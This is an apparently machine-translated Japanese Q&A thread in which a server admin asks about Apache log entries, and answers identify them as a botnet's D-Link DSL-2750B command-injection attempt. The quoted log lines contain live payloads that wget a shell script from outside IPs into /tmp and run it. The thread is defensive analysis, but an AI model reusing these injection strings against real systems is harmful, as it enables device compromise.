私は に新しいサーバーを構築していますApache
。実際、学習中なので、さまざまなことを試しています。セキュリティ システムはすでに完了していますが、もちろん何かを見落としている可能性があります。そうでなくても、今日では 1 つのシステムで 100% 保護できることはないと理解しています。では、ログに次のメッセージが表示されただけで、誰かが私を試したと思うのはなぜでしょうか。
1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
他にもありました。この誰かがエラー 400 を受け取っているのは理解していますが、私にとっては悪いことではありません。ですから、実際のところ、私の質問は、彼らが私を試しているかどうかではありません。なぜなら、それは私のサイトへの通常のリクエストではないように思われるからです。理解して学ぶために、このリクエストの説明が欲しいのです。彼らが実際にしようとしていることは、私のログイン システムを見つけてどこかに送信しようとしていることでしょうか?
wget
PS:いくつかの Web サイトをダウンロードできることはすでに知っていますが、 login.cgi
Cookie ベースの認証プログラムであることもわかりました。
ありがとう!
答え1
迷惑な訪問者は、サーバーにスクリプトをダウンロードして実行しようとしていることを隠そうとはしません。
彼は、そのようなlogin.cgi
スクリプトが配置されているだけでなく、入力を適切に処理していないため、%27
エンコードされたログ内のアポストロフィ ( ) の後のすべてが直接実行されていると予想している可能性があります。おそらく、そのような脆弱なスクリプトは存在しないでしょうが、HTTP コード 400 が常に影響を受けないことを意味するという仮定は根拠がありません。
これはおそらく、無作為の大規模なターゲット グループを狙った無人攻撃です。ダウンロードして実行することを意図したスクリプトに何が含まれていたかは推測することしかできません。スクリプトを配信するサーバーは、通常、攻撃がこれまで成功したと想定しているか、調査中であるかに応じて異なるスクリプト(+) を提供するため、それを判断できないと想定しても問題ありません。
攻撃者もコード実行の可能性が低いと判断し、システムに関する情報を収集していた可能性も十分にあります。インターネットに接続するすべてのデバイスは、このようなリクエストを定期的に想定する必要があり、Web サーバー上のすべてのスクリプトは、このようなことを心配する必要がないように記述する必要があります。
(+)なぜ攻撃者は異なるスクリプトを提供するでしょうか? 侵害後の権限昇格の調査を困難にするためです。スクリプトは後でメモリから失われる可能性が高いため、被害者が後でスクリプトを取得できないようにすることは、攻撃者にとって理にかなっています。どうやって攻撃者は異なるスクリプトを提供するでしょうか? 攻撃者は、攻撃後すぐに、Web サーバーが攻撃されたマシンの IP からの攻撃ペイロードのみで応答するようにします。攻撃は瞬時に成功するか失敗するかのどちらかであるため、スクリプトのその後の取得は、被害者のフォレンジック チームまたはセキュリティ研究者によるものと考えられます。これは新しいメカニズムでも、純粋に理論的なメカニズムでもありません。私は 2016 年に、IP に基づいて異なるペイロードをすでに受信しました (1 つのスクリプトは空で、もう 1 つには第 3 段階のペイロードをロードするコマンドが含まれています)。
答え2
これは、あなた個人に対する特定の攻撃ではありません。ボットネットを使用して、考えられるすべての IP アドレスを攻撃している可能性が最も高いです。
login.cli
パラメータを使用するスクリプトはD cli
-Linkルーターを対象としているようです。これはおそらくD-Link DSL-2750B - OS コマンド インジェクション:
このモジュールは、D-Link DSL-2750B デバイスのリモート コマンド インジェクションの脆弱性を悪用します。脆弱性は、「ayecli」バイナリを直接呼び出すために使用される「cli」パラメータを通じて悪用される可能性があります。脆弱なファームウェアは 1.01 から 1.03 までです。
nginx や Apache などの Web サーバー用のブロック リストのコレクションがあり、それらを使用して、このようなリクエストをすべてブロックできます。トラフィックによっては、特にトラフィックがそれほど多くないと予想される小規模なプライベート Web サイトの場合は、これを実行すると便利です。
答え3
この投稿は 1 年以上前のものですが、これについてもう少し明確に説明することができます。
これは確かにボットネットの一部です。ダウンロードしようとしているスクリプトはドロッパーであり、ダウンロードしたファイル (ドロップされたファイル) に実行ビット/権限を追加し、実行してからファイルを削除しようとします。
このドロッパーの新しいバージョンを分析してみたところ、これはエンコードされていないシェル スクリプトでした。このネットワークは、2020 年が近づくにつれて、今日再び活発化しています。
異なるスクリプトを使用するという点については、開発者は異なるオペレーティングシステムで実行するために別々のスクリプトを作成することができました。誰かがこのボットネットを再パッケージ化し、再配布しようとしているようです。ここにウイルスの合計があります。グラフこれは、この特定のボットネットの新たな活動を示しています。